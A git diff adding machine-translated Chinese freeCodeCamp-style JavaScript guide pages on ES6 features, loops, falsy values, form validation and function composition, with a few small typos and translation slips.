+如果我们想知道每个项目的索引怎么办。在这种情况下，我们可以遍历fruits.entries（），它给我们ArrayIterator。
+
+```javascript
+for (const fruit of fruits.entries()) 
+ { 
+    console.log(fruit); 
+ } 
+```
+
+在上面的代码片段中，水果将是一个包含两个项目的数组。第0项将包含索引，第1项将包含实际的水果名称。输出将如下：
+```
+[0, "Orange"] 
+ 
+ [1, "Apple"] 
+ 
+ [2, "Grapes"] 
+ 
+ [3, "Banana"] 
+```
+
+我们可以进一步解构如下的水果：
+
+```javascript
+for (const [index,fruit] of fruits.entries()) 
+ { 
+    console.log(index,fruit); 
+ } 
+```
+
+## for-of循环迭代未知数量的参数
+
+for-of循环非常有助于迭代函数的未知数量的参数。
+
+假设我们想要添加传递给函数的数字，并且参数的数量不固定。
+
+'arguments'是javascript中的一个特殊关键字，它为我们提供了Array-ish（非数组）类型，并为我们提供了所有参数。
+
+```javascript
+function addNumbers() 
+ { 
+    let sum = 0; 
+    for (const num of arguments) 
+       sum+=num; 
+    return sum; 
+ } 
+ addNumbers(1, 2, 3, 4, 5); // 15 
+```
+
+这里的参数不是一个真正的数组，我们仍然可以使用for-of循环迭代它。
+
+## for-of循环迭代字符串
+
+我们可以使用for-of循环来迭代字符串，以便按字符串的字符给出字符。
+
+```javascript
+const name = 'John Doe'; 
+ for (const char of name) 
+    console.log(char); 
+```
+
+这导致以下输出： 字符'J'，'o'，'h'，'n'，''，'D'，'o'，'e'
+
+## for-of循环迭代DOM集合
+
+DOM集合不是真正的数组类型。它们通常是大多数浏览器的NodeList。如果我们创建了许多段落并希望迭代它们以在每个段落上分配一些事件，我们可以使用for-of循环。
+
+```javascript
+const paragraphs = document.querySelectorAll('p'); 
+```
+
+这里的段落是一个NodeList，它可以使用for-of循环进行迭代。
+
+```javascript
+for (const para of paragraphs) 
+ { 
+    console.log(para); 
+    // We can add event listeners to each para here 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/es6/index.md b/client/src/guide/chinese/javascript/es6/index.md
new file mode 100644
index 0000000000..af7b17995d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/es6/index.md
@@ -0,0 +1,58 @@
+---
+title: ES6
+localeTitle: ES6
+---
+## ES6
+
+第6版ECMAScript称为ES6。
+
+它也被称为ES2015。
+
+这些更改增加了许多语法糖，允许开发人员以面向对象的方式创建应用程序。
+
+> ES5示例：
+
+```javascript
+var User = function () { 
+  function User(name) { 
+    this._name = name; 
+  } 
+ 
+  User.prototype.getName = function getName(x) { 
+    return 'Mr./Mrs. ' + this._name; 
+  }; 
+ 
+  return User; 
+ }(); 
+```
+
+> ES6示例：
+
+```javascript
+class User { 
+  constructor(name) { 
+    this._name = name 
+  } 
+ 
+  getName() { 
+    return `Mr./Mrs. ${this._name}` 
+  } 
+ } 
+```
+
+引入了许多新的语法功能，包括：
+
+*   类，
+*   模块，
+*   模板，
+*   for / of循环，
+*   生成器表达式
+*   箭头功能，
+*   收藏，
+*   承诺。
+
+如今，大多数功能都可以在所有流行的浏览器中使用。 [兼容性表](https://kangax.github.io/compat-table/es6/)包含有关所有现代浏览器的功能可用性的所有信息。
+
+经常出现新功能，这是继承者ES7的一部分。一种常见的方法是将现代JavaScript（ES6，ES7和其他实验方案）翻译成ES5。这确保了旧浏览器也可以执行代码。像[Babel](https://babeljs.io/)这样的工具可以将新的JavaScript转换为ES5。
+
+除了来自ECMAScript标准的语法糖之外，还有一些需要[Polyfill的功能](https://babeljs.io/docs/usage/polyfill) 。通常它们是必需的，因为整个类/方法实现被添加到标准中。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/es6/let-and-const/index.md b/client/src/guide/chinese/javascript/es6/let-and-const/index.md
new file mode 100644
index 0000000000..3403dbe42e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/es6/let-and-const/index.md
@@ -0,0 +1,52 @@
+---
+title: Let and Const
+localeTitle: 让和Const
+---
+## 让
+
+let类似于var但是有范围。 let只能在定义的块级别中访问。
+```
+if (true) { 
+ let a = 40; 
+ console.log(a); //40 
+ } 
+ console.log(a); // undefined 
+```
+
+在上面的示例中，变量'a'在If语句中定义，因此在函数外部无法访问。
+
+另一个例子：
+```
+let a = 50; 
+ let b = 100; 
+ if (true) { 
+ let a = 60; 
+ var c = 10; 
+ console.log(a/c); // 6 
+ console.log(b/c); // 10 
+ } 
+ console.log(c); // 10 
+ console.log(a); // 50 
+```
+
+## 常量
+
+Const用于为变量赋值常量。价值无法改变。这是固定的。
+```
+const a = 50; 
+ a = 60; // shows error. You cannot change the value of const. 
+ const b = "Constant variable"; 
+ b = "Assigning new value"; // shows error. 
+```
+
+考虑另一个例子。
+```
+const LANGUAGES = ['Js', 'Ruby', 'Python', 'Go']; 
+ LANGUAGES = "Javascript"; // shows error. 
+ LANGUAGES.push('Java'); // Works fine. 
+ console.log(LANGUAGES); // ['Js', 'Ruby', 'Python', 'Go', 'Java'] 
+```
+
+这可能有点混乱。
+
+以这种方式考虑。无论何时定义const变量，Javascript都会将值的地址引用给变量。在我们的示例中，变量'LANGUAGES'实际上引用了分配给数组的内存。因此，您无法在以后更改变量以引用其他内存位置。在整个程序中它只引用数组。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/es6/map-function/index.md b/client/src/guide/chinese/javascript/es6/map-function/index.md
new file mode 100644
index 0000000000..b649143b1b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/es6/map-function/index.md
@@ -0,0 +1,25 @@
+---
+title: Map Function
+localeTitle: 地图功能
+---
## 地图功能
+
+`map()`函数用于从现有数组创建新数组，将函数应用于第一个数组的每个元素。
+
+map函数的原始语法是：
+
+```javascript
+  let new_arr = arr.map(function callback(currentValue, index, array) { 
+                  // Do some stuff with currentValue (index and array are optionals) 
+                }) 
+```
+
+### 示例（ES6）：
+
+```javascript
+const myArray_1 = [1, 2, 3, 4]; 
+ const myArray_2 = myArray_1.map(el => el * 2); 
+```
+
+`myArray_2`将包含以下元素： `[2, 4, 6, 8]`
+
+`map()`是`Array`对象的一个​​方法，因此要将该函数传递给一个可迭代对象，必须使该对象成为一个Array。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/es6/new-string-functions/index.md b/client/src/guide/chinese/javascript/es6/new-string-functions/index.md
new file mode 100644
index 0000000000..59bb754791
--- /dev/null
+++ b/client/src/guide/chinese/javascript/es6/new-string-functions/index.md
@@ -0,0 +1,62 @@
+---
+title: New String Functions
+localeTitle: 新的字符串函数
+---
## 新的字符串函数
+
+以下四个函数在ES6中添加了新的字符串。
+
+*   以。。开始
+*   以。。结束
+*   包括
+*   重复
+
+## 以。。开始：
+
+这是一个区分大小写的函数，它可以帮助我们查找特定字符串是否以某个子字符串开头。
+
+startsWith接受名为position的第二个可选参数，当我们想要在搜索之前从字符串的开头跳过特定数量的字符时，我们可以使用它。
+
+```javascript
+const str ='Rachna'; 
+ str.startsWith('Rad') //false 
+ str.startsWith('ra') //false as it is case sensitive 
+ str.startsWith('Ra') //true 
+ str.startsWith('ch',2) //true as we are searching from the second position 
+ str.startsWith('ch',3) //false 
+```
+
+## 以。。结束
+
+这是一个区分大小写的函数，它可以帮助我们查找特定字符串是否以某个子字符串结尾。
+
+endsWith接受一个名为endPosition的第二个可选参数，我们可以使用它来包含搜索前的字符数。
+
+```javascript
+const city= 'Delhi'; 
+ city.endsWith('Hi'); //false as it is case sensitive 
+ city.endsWith('hi');//true 
+ city.endsWith('l',3);//true - include only first three characters before searching 
+ city.endsWith('l',4);//false 
+```
+
+## 包括
+
+includes函数也是一个区分大小写的函数，用于检查searchString是否存在于字符串中的任何位置。
+
+```javascript
+const name='John Doe'; 
+ name.includes('do'); //false 
+ name.includes('D'); //true 
+ name.includes('Do'); //true 
+```
+
+## 重复
+
+重复允许我们取一个字符串并重复多次。
+
+```javascript
+const str = 'This is repeated'; 
+ str.repeat(3); //"This is repeatedThis is repeatedThis is repeated" 
+```
+
+repeat函数可用于从左侧填充带有多个空格的字符串。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/es6/some-function/index.md b/client/src/guide/chinese/javascript/es6/some-function/index.md
new file mode 100644
index 0000000000..2db8386542
--- /dev/null
+++ b/client/src/guide/chinese/javascript/es6/some-function/index.md
@@ -0,0 +1,25 @@
+---
+title: Some Function
+localeTitle: 一些功能
+---
## 一些功能
+
+`some()`函数用于验证数组中是否至少有一个元素满足给定条件。如果条件由一个元素满足，则该函数返回`true`如果任何元素满足条件，则返回false
+
+某些函数的原始语法是：
+
+```javascript
+arr.some(function callback(currentValue, index, array) { 
+  // Do some stuff with currentValue (index and array are optionals) 
+ }, [thisArg]); 
+```
+
+### 示例（ES6）：
+
+```javascript
+const arr = [1, 4, 5, 11]; 
+ if (arr.some(el => el % 2 == 0)) { 
+  console.log("There's at least one even number"); 
+ } 
+```
+
+`some()`是`Array`对象的一个​​方法，因此要将该函数传递给一个可迭代对象，必须确保该对象是一个Array。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/es6/spread-operator/index.md b/client/src/guide/chinese/javascript/es6/spread-operator/index.md
new file mode 100644
index 0000000000..063abb6738
--- /dev/null
+++ b/client/src/guide/chinese/javascript/es6/spread-operator/index.md
@@ -0,0 +1,23 @@
+---
+title: Spread Operator
+localeTitle: 传播运营商
+---
## 传播运营商
+
+扩展运算符（ `...` ）允许获取集合的元素。
+
+最常见的用途之一是`Node` Objects，当在浏览器中使用查询选择器时，为了使它们成为可迭代的数组对象：
+
+```javascript
+const paragraphs = document.querySelectorAll('p.paragraph'); 
+ const arr = [...paragraphs]; 
+```
+
+扩展运算符的另一个用途是用于数组连接：
+
+```javascript
+const arr_1 = [1, 2, 3, 4] 
+ const arr_2 = [5, 6, 7, 8] 
+ const arr_final = [...arr_1, ...arr_2] 
+ // arr_final = [1, 2, 3, 4, 5, 6, 7, 8] 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/es6/template-literals/index.md b/client/src/guide/chinese/javascript/es6/template-literals/index.md
new file mode 100644
index 0000000000..716d4e5d7e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/es6/template-literals/index.md
@@ -0,0 +1,76 @@
+---
+title: Template Literals
+localeTitle: 模板文字
+---
## 模板文字
+
+## 介绍：
+
+当我们想使用变量来创建一个字符串时，它变得非常痛苦，因为我们必须使用+符号来连接和跟踪引号。
+
+现在使用ES6，我们可以使用反引号和使用带有美元符号和花括号的占位符来创建字符串，例如$ {expression}。
+
+```javascript
+const name='John'; 
+ const city='London'; 
+ 
+ Older Style: 
+ const sentence ='My name is '+ name +'. I live in '+city. 
+ ES6 way: 
+ const sentence = `My name is ${name}. I live in ${city}`; 
+ Here ${name} and ${city}are going to be interpolated by the variable name and city respectively. 
+```
+
+## MultiLine字符串：
+
+旧款式：
+
+当我们想要将字符串跨越到多行时，我们不得不使用反斜杠。
+
+```javascript
+const multipleLineString= "We have \ 
+ multiple lines \ 
+ here"; 
+```
+
+现在，当我们想要创建多行字符串时，我们可以使用模板字符串。我们可以使用反引号来包围我们的字符串。当我们想要创建一些动态html标记时，这种方法非常有用。
+
+```javascript
+const htmlMarkup = ` 
+ <html> 
+ <head></head> 
+ <title>Template string</title> 
+ <body>Hello World</body> 
+ </html>`; 
+```
+
+## 嵌套模板字符串：
+
+我们可以将它们嵌套在一起。
+
+```javascript
+const cities =[ 
+ {name:'Delhi', year: 2010}, 
+ {name:'Mumbai', year: 2015}, 
+ {name:'Kolkata', year: 2017}]; 
+ 
+ 
+ const markup = ` 
+ <ul> 
+ ${cities.map(city=>`<li>I lived in ${city.name} in the year ${city.year}</li>`).join('')} 
+ </ul>`; 
+```
+
+这里，map函数之后的join运算符删除了每个li之后添加的额外逗号。
+
+## 如果声明和功能
+
+我们也可以在模板字符串中使用If语句。
+
+```javascript
+const data = {name: 'John', city: 'London', birthyear: 1900}; 
+ const markup = `<div>${data.name} lives in ${data.city}. ${data.birthyear ? `<div>He was born in the year ${data.birthyear}</div>`:''}</div>`; 
+```
+
+在上面的例子中，如果定义了birthyear，那么生成内容为“他出生在一年中”的div，否则将不会创建div。
+
+我们还可以在模板字符串中调用函数。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/falsy-values/index.md b/client/src/guide/chinese/javascript/falsy-values/index.md
new file mode 100644
index 0000000000..dce37bfe43
--- /dev/null
+++ b/client/src/guide/chinese/javascript/falsy-values/index.md
@@ -0,0 +1,74 @@
+---
+title: Falsy Values
+localeTitle: 虚假的价值观
+---
+## 描述
+
+虚假值是评估为FALSE的值，例如在检查变量时。 JavaScript中只有六个falsey值： `undefined` ， `null` ， `NaN` ， `0` ， `""` （空字符串），当然还有`false` 。
+
+## 检查变量上的假值
+
+可以使用简单的条件检查变量中的假值：
+
+```javascript
+if (!variable) { 
+  // When the variable has a falsy value the condition is true. 
+ } 
+```
+
+## 一般例子
+
+```javascript
+var string = ""; // <-- falsy 
+ 
+ var filledString = "some string in here"; // <-- truthy 
+ 
+ var zero = 0; // <-- falsy 
+ 
+ var numberGreaterThanZero // <-- truthy 
+ 
+ var emptyArray = []; // <-- truthy, we'll explore more about this next 
+ 
+ var emptyObject = {}; // <-- truthy 
+```
+
+## 有阵列的乐趣
+
+```javascript
+if ([] == false) // <-- truthy, will run code in if-block 
+ 
+ if ([]) // <-- truthy, will also run code in if-block 
+ 
+ if ([] == true) // <-- falsy, will NOT run code in if-block 
+ 
+ if (![]) // <-- falsy, will also NOT run code in if-block 
+```
+
+## 警告
+
+在布尔上下文中评估值时，请注意数据类型。如果值的数据类型是一个_数字_ ，那么truthy / falsy评估可能会导致意外的结果：
+
+```javascript
+const match = { teamA: 0, teamB: 1 } 
+ if (match.teamA) 
+  // The following won't run due to the falsy evaluation 
+  console.log('Team A: ' + match.teamA); 
+ } 
+```
+
+上面用例的替代方法是使用`typeof`评估值：
+
+```javascript
+const match = { teamA: 0, teamB: 1 } 
+ if (typeof match.teamA === 'number') 
+  console.log('Team A: ' + match.teamA); 
+ } 
+```
+
+## 更多信息
+
+*   **真实的** [博客文章 - Truthy＆Falsey](http://james.padolsey.com/javascript/truthy-falsey/)
+    
+*   [Falsy |词汇表| MDN](https://developer.mozilla.org/en-US/docs/Glossary/Falsy)
+    
+*   [Truthy和Falsy：当JavaScript中的所有不相等时](https://www.sitepoint.com/javascript-truthy-falsy/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/form-validation/index.md b/client/src/guide/chinese/javascript/form-validation/index.md
new file mode 100644
index 0000000000..7973c01fd0
--- /dev/null
+++ b/client/src/guide/chinese/javascript/form-validation/index.md
@@ -0,0 +1,179 @@
+---
+title: Form Validation
+localeTitle: 表格验证
+---
+## 表格验证
+
+在客户端输入所有必要数据然后按下“提交”按钮后，通常用于在服务器上进行的表单验证。如果数据 客户输入的内容不正确或只是丢失，服务器必须将所有数据发送回客户端并请求表单 重新提交正确的信息。这真是一个漫长的过程，曾经给服务器带来了很多负担。
+
+JavaScript提供了一种在将客户端计算机上的数据发送到Web服务器之前验证其数据的方法。表单验证通常执行两次 功能：
+
+### 基本验证
+
+首先，必须检查表单以确保填写所有必填字段。它只需要循环遍历表单中的每个字段， 检查数据。
+
+### 数据格式验证
+
+其次，必须检查输入的数据的正确形式和值。您的代码必须包含适当的逻辑来测试数据的正确性。
+
+#### 例：
+
+```html
+
+<html> 
+ 
+   <head> 
+      <title>Form Validation</title> 
+ 
+      <script type="text/javascript"> 
+         <!-- 
+            // Form validation code will come here. 
+         //--> 
+      </script> 
+ 
+   </head> 
+ 
+   <body> 
+      <form action="/cgi-bin/test.cgi" name="myForm" onsubmit="return(validate());"> 
+         <table cellspacing="2" cellpadding="2" border="1"> 
+ 
+            <tr> 
+               <td align="right">Name</td> 
+               <td><input type="text" name="Name" /></td> 
+            </tr> 
+ 
+            <tr> 
+               <td align="right">EMail</td> 
+               <td><input type="text" name="EMail" /></td> 
+            </tr> 
+ 
+            <tr> 
+               <td align="right">Zip Code</td> 
+               <td><input type="text" name="Zip" /></td> 
+            </tr> 
+ 
+            <tr> 
+               <td align="right">Country</td> 
+               <td> 
+                  <select name="Country"> 
+                     <option value="-1" selected>[choose yours]</option> 
+                     <option value="1">USA</option> 
+                     <option value="2">UK</option> 
+                     <option value="3">INDIA</option> 
+                  </select> 
+               </td> 
+            </tr> 
+ 
+            <tr> 
+               <td align="right"></td> 
+               <td><input type="submit" value="Submit" /></td> 
+            </tr> 
+ 
+         </table> 
+      </form> 
+ 
+   </body> 
+ </html> 
+```
+
+#### 产量
+
+[在这里了解一下](https://liveweave.com/LP9eOP)
+
+### 基本表格验证
+
+首先让我们看看如何进行基本表单验证。在上面的表单中，我们调用validate（）来在onsubmit事件发生时验证数据。该 以下代码显示了此`validate()`函数的实现。
+
+```html
+
+<script type="text/javascript"> 
+   // Form validation code will come here. 
+   function validate() 
+      { 
+ 
+         if( document.myForm.Name.value == "" ) 
+         { 
+            alert( "Please provide your name!" ); 
+            document.myForm.Name.focus() ; 
+            return false; 
+         } 
+ 
+         if( document.myForm.EMail.value == "" ) 
+         { 
+            alert( "Please provide your Email!" ); 
+            document.myForm.EMail.focus() ; 
+            return false; 
+         } 
+ 
+         if( document.myForm.Zip.value == "" || 
+         isNaN( document.myForm.Zip.value ) || 
+         document.myForm.Zip.value.length != 5 ) 
+         { 
+            alert( "Please provide a zip in the format #####." ); 
+            document.myForm.Zip.focus() ; 
+            return false; 
+         } 
+ 
+         if( document.myForm.Country.value == "-1" ) 
+         { 
+            alert( "Please provide your country!" ); 
+            return false; 
+         } 
+         return( true ); 
+      } 
+ </script> 
+```
+
+#### 产量
+
+[在这里了解一下](https://liveweave.com/pCPTnP)
+
+### 数据格式验证
+
+现在我们将看到如何在将输入的表单数据提交到Web服务器之前验证它们。
+
+以下示例显示如何验证输入的电子邮件地址。电子邮件地址必须至少包含“@”符号和点（。）。此外，'@'必须 不是电子邮件地址的第一个字符，最后一个点必须至少是“@”符号后面的一个字符。
+
+#### 例：
+
+```html
+
+<script type="text/javascript"> 
+    function validateEmail() 
+      { 
+         var emailID = document.myForm.EMail.value; 
+         atpos = emailID.indexOf("@"); 
+         dotpos = emailID.lastIndexOf("."); 
+ 
+         if (atpos < 1 || ( dotpos - atpos < 2 )) 
+         { 
+            alert("Please enter correct email ID") 
+            document.myForm.EMail.focus() ; 
+            return false; 
+         } 
+         return( true ); 
+      } 
+ </script> 
+```
+
+#### 产量
+
+[在这里了解一下](https://liveweave.com/nznVs6)
+
+### HTML5表单约束
+
+`<input>`一些常用HTML5约束是`type`属性（例如`type="password"` ）， `maxlength` ， `required`和`disabled` 。少了 常用的约束是采用JavaScript正则表达式的`pattern` attrinute。
+
+### 验证库
+
+验证库的示例包括：
+
+*   [Validate.js](http://rickharrison.github.com/validate.js/)
+*   [验证](http://bassistance.de/jquery-plugins/jquery-plugin-validation/)
+*   [Valid8](http://unwrongest.com/projects/valid8/)
+
+### 更多信息
+
+*   [表格数据验证| MDN](https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Form_validation)
+*   [约束验证| MDN](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation)
+*   [Tutorialspoint](https://www.tutorialspoint.com/javascript/javascript_form_validations.htm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/function-composition/index.md b/client/src/guide/chinese/javascript/function-composition/index.md
new file mode 100644
index 0000000000..bcbd8633f0
--- /dev/null
+++ b/client/src/guide/chinese/javascript/function-composition/index.md
@@ -0,0 +1,67 @@
+---
+title: Function Composition
+localeTitle: 功能组合
+---
## 功能构成
+
+函数组合是一个函数对另一个函数的结果的逐点应用。开发人员每天在嵌套功能时以手动方式执行此操作：
+
+```javascript
+compose = (fn1, fn2) => value => fn2(fn1(value)) 
+```
+
+但这很难读。使用函数组合有更好的方法。而不是从里到外阅读它们：
+
+```javascript
+add2AndSquare = (n) => square(add2(n)) 
+```
+
+我们可以使用更高阶函数以有序的方式链接它们。
+
+```javascript
+add2AndSquare = compose( add2, square) 
+```
+
+compose的一个简单实现是：
+
+```javascript
+compose = (f1, f2) => value => f2( f1(value) ); 
+```
+
+为了获得更大的灵活性，我们可以使用reduceRight函数：
+
+```javascript
+compose = (...fns) => (initialVal) => fns.reduceRight((val, fn) => fn(val), initialVal); 
+```
+
+从左到右的阅读构成允许清晰地链接高阶函数。真实世界的例子是添加身份验证，日志记录和上下文属性。这是一种能够在最高级别上实现可重用性的技术。以下是如何使用它的一些示例：
+
+```javascript
+// example 
+ const add2        = (n) => n + 2; 
+ const times2      = (n) => n * 2; 
+ const times2add2  = compose(add2, times2); 
+ const add6        = compose(add2, add2, add2); 
+ 
+ times2add2(2);  // 6 
+ add2tiems2(2);  // 8 
+ add6(2);        // 8 
+```
+
+您可能认为这是高级函数式编程，它与前端编程无关。但它在单页应用程序中也很有用。例如，您可以使用更高阶的组件向React组件添加行为：
+
+```javascript
+function logProps(InputComponent) { 
+  InputComponent.prototype.componentWillReceiveProps = function(nextProps) { 
+    console.log('Current props: ', this.props); 
+    console.log('Next props: ', nextProps); 
+  }; 
+  return InputComponent; 
+ } 
+ 
+ // EnhancedComponent will log whenever props are received 
+ const EnhancedComponent = logProps(InputComponent); 
+```
+
+总之，功能组合使功能的可重用性处于非常高的水平。如果函数结构良好，它使开发人员能够基于现有行为创建新行为。
+
+它还提高了实现的可读性。您可以使用有意义的名称来清除链函数，并创建更高阶的函数，而不是嵌套函数。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/function-invocation/index.md b/client/src/guide/chinese/javascript/function-invocation/index.md
new file mode 100644
index 0000000000..deed5e8539
--- /dev/null
+++ b/client/src/guide/chinese/javascript/function-invocation/index.md
@@ -0,0 +1,71 @@
+---
+title: Function Invocation
+localeTitle: 函数调用
+---
+## 函数调用
+
+调用函数时，将执行函数内的代码。通常使用术语“调用函数”而不是“调用函数”。
+
+调用函数时，函数必须在范围内。函数的作用域是声明它的函数，如果它是在顶层声明的整个程序。
+
+```javascript
+function myFunction(a, b) { 
+  return a * b; 
+ } 
+ myFunction(10, 2);           // Function invocation, will return 20 
+ 
+ //optional parameters (es6 only) 
+ //allow to set optional parameters 
+ 
+ function myFunction(a, b = 10) { 
+  return a * b; 
+ } 
+ myFunction(1);           // Function invocation, will return 10 
+ myFunction(1,5);           // Function invocation, will return 5 
+```
+
+在示例代码中，a和b是函数的参数，它们保存值10和2，它们是函数调用中使用的参数。
+
+### 调用函数作为方法
+
+在JavaScript中，您可以将函数定义为对象方法。
+
+以下示例创建一个对象（ `myObject` ），其中包含两个属性（ `firstName`和`lastName` ）和一个方法（ `fullName` ）：
+
+```javascript
+var myObject = { 
+  firstName:"John", 
+  lastName: "Doe", 
+  fullName: function () { 
+    return this.firstName + " " + this.lastName; 
+  } 
+ } 
+ myObject.fullName();         // Function invoked as a method, will return "John Doe" 
+```
+
+### 箭头功能
+
+在最新版本的Javascript中，您还可以使用箭头函数缩短语法。 以下演示了两个功能。一个用标准形式写成，一个用箭头写成。请记住，箭头函数没有自己的this，arguments，super或new.target。
+
+```javascript
+//regular function 
+ 
+ function addStuff(args) { 
+   return args + 2; 
+ } 
+ 
+ addStuff(2); 
+ //returns 4 
+ 
+ //arrow function 
+ 
+ var addStuff = (args) => args + 2; 
+ addStuff(2); 
+ //returns 4 
+```
+
+这个简写版本的箭头函数有一个隐式返回，因此您不指定return语句。
+
+### 更多信息：
+
+*   功能文档： [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/functions-list/index.md b/client/src/guide/chinese/javascript/functions-list/index.md
new file mode 100644
index 0000000000..64234c2ed0
--- /dev/null
+++ b/client/src/guide/chinese/javascript/functions-list/index.md
@@ -0,0 +1,61 @@
+---
+title: Functions List
+localeTitle: 功能列表
+---
+![非官方的JS徽标](//discourse-user-assets.s3.amazonaws.com/original/2X/0/0584980f425bfbbe1e14001557ff4f5bab8f61ec.jpg)
+
+JavaScript（JS）是一种具有一流功能的轻量级解释编程语言。最着名的是网页脚本语言，许多非浏览器环境也使用它，例如[node.js](https://nodejs.org)和[Apache CouchDB](http://couchdb.apache.org/) 。 JS是一种基于原型的多范式动态脚本语言，支持面向对象，命令式和声明式（例如函数式编程）样式。
+
+JavaScript在Web的客户端运行，可用于设计/编程网页在事件发生时的行为方式。 JavaScript是一种易于学习且功能强大的脚本语言，广泛用于控制网页行为。
+
+查看[MDN的JavaScript文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript) ，它们是学习的重要资产。
+
+我们的维基上也有一些很棒的文章：
+
+*   [JavaScript的优点和缺点](http://forum.freecodecamp.com/t/advantages-and-disadvantages-of-javascript/14280)
+*   **JavaScript数据类型：**
+*   [布尔](http://forum.freecodecamp.com/t/javascript-boolean/14311)
+*   **JavaScript字符串：**
+*   [String.prototype.charAt（）](http://forum.freecodecamp.com/t/javascript-string-prototype-charat/15932)
+*   [String.prototype.charCodeAt（）](http://forum.freecodecamp.com/t/javascript-string-prototype-charcodeat/15933)
+*   [String.prototype.concat（）](http://forum.freecodecamp.com/t/javascript-string-prototype-concat/15935)
+*   [String.prototype.indexOf（）](https://forum.freecodecamp.org/t/javascript-string-prototype-indexof/15936)
+*   [String.prototype.lastIndexOf（）](http://forum.freecodecamp.com/t/string-prototype-lastindexof/15939)
+*   [String.prototype.match（）](http://forum.freecodecamp.com/t/javascript-string-prototype-match/15941)
+*   [String.prototype.replace（）](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942)
+*   [String.prototype.slice（）](http://forum.freecodecamp.com/t/javascript-string-prototype-slice/15943)
+*   [String.prototype.split（）](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [String.prototype.substr（）](http://forum.freecodecamp.com/t/javascript-string-prototype-substr/15945)
+*   [String.prototype.substring（）](http://forum.freecodecamp.com/t/javascript-string-prototype-substring/15947)
+*   [String.prototype.toLowerCase（）](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+*   [String.prototype.toUpperCase（）](http://forum.freecodecamp.com/t/javascript-string-prototype-touppercase/15950)
+*   **JavaScript数组：**
+*   [Array.isArray（）](http://forum.freecodecamp.com/t/javascript-array-isarray/14284)
+*   [Array.prototype.concat（）](http://forum.freecodecamp.com/t/javascript-array-prototype-concat/14286)
+*   [Array.prototype.every（）](http://forum.freecodecamp.com/t/javascript-array-prototype-every/14287)
+*   [Array.prototype.filter（）](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+*   [Array.prototype.forEach（）](http://forum.freecodecamp.com/t/javascript-array-prototype-foreach/14290)
+*   [Array.prototype.indexOf（）](http://forum.freecodecamp.com/t/javascript-array-prototype-indexof/14291)
+*   [Array.prototype.join（）](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+*   [Array.prototype.lastIndexOf（）](http://forum.freecodecamp.com/t/javascript-array-prototype-lastindexof/14293)
+*   [Array.prototype.map（）](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+*   [Array.prototype.pop（）](http://forum.freecodecamp.com/t/javascript-array-prototype-pop/14296)
+*   [Array.prototype.push（）](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [Array.prototype.reduce（）](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [Array.prototype.reverse（）](http://forum.freecodecamp.com/t/javascript-array-prototype-reverse/14300)
+*   [Array.prototype.shift（）](http://forum.freecodecamp.com/t/javascript-array-prototype-shift/14301)
+*   [Array.prototype.slice（）](http://forum.freecodecamp.com/t/javascript-array-prototype-slice/14302)
+*   [Array.prototype.some（）](http://forum.freecodecamp.com/t/javascript-array-prototype-some/14304)
+*   [Array.prototype.sort（）](http://forum.freecodecamp.com/t/javascript-array-prototype-sort/14306)
+*   [Array.prototype.splice（）](http://forum.freecodecamp.com/t/javascript-array-prototype-splice/14307)
+*   [Array.prototype.toString（）](http://forum.freecodecamp.com/t/javascript-array-prototype-tostring/14308)
+*   [Array.prototype.unshift（）](http://forum.freecodecamp.com/t/javascript-array-prototype-unshift/14309)
+*   **JavaScript循环：**
+*   [循环](http://forum.freecodecamp.com/t/javascript-loops/14681)
+*   [而Loop](http://forum.freecodecamp.com/t/javascript-while-loop/14668)
+*   [做循环](http://forum.freecodecamp.com/t/javascript-do-while-loop/14662)
+*   [对于循环](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   [对于In Loop](http://forum.freecodecamp.com/t/javascript-for-in-loop/14665)
+*   [对于循环](http://forum.freecodecamp.com/t/javascript-for-of-loop/14671)
+
+查看我们关于JavaScript的其他文章： [https](https://www.freecodecamp.com/wiki) ： [//www.freecodecamp.com/wiki](https://www.freecodecamp.com/wiki) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/get-timestamp/index.md b/client/src/guide/chinese/javascript/get-timestamp/index.md
new file mode 100644
index 0000000000..805bc99654
--- /dev/null
+++ b/client/src/guide/chinese/javascript/get-timestamp/index.md
@@ -0,0 +1,9 @@
+---
+title: Get Timestamp
+localeTitle: 获取时间戳
+---
+您可以使用`Date.now()`来获取当前时间戳（以毫秒为单位）。
+
+您可以轻松地将时间戳转换为秒，如下所示： `Math.floor(Date.now() / 1000)`
+
+如果您的浏览器不支持`Date.now()` ，则可以使用`new Date().getTime()`来获取时间戳（以毫秒为单位）。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/global-object/index.md b/client/src/guide/chinese/javascript/global-object/index.md
new file mode 100644
index 0000000000..effd7fffa8
--- /dev/null
+++ b/client/src/guide/chinese/javascript/global-object/index.md
@@ -0,0 +1,43 @@
+---
+title: Global Object
+localeTitle: 全球对象
+---
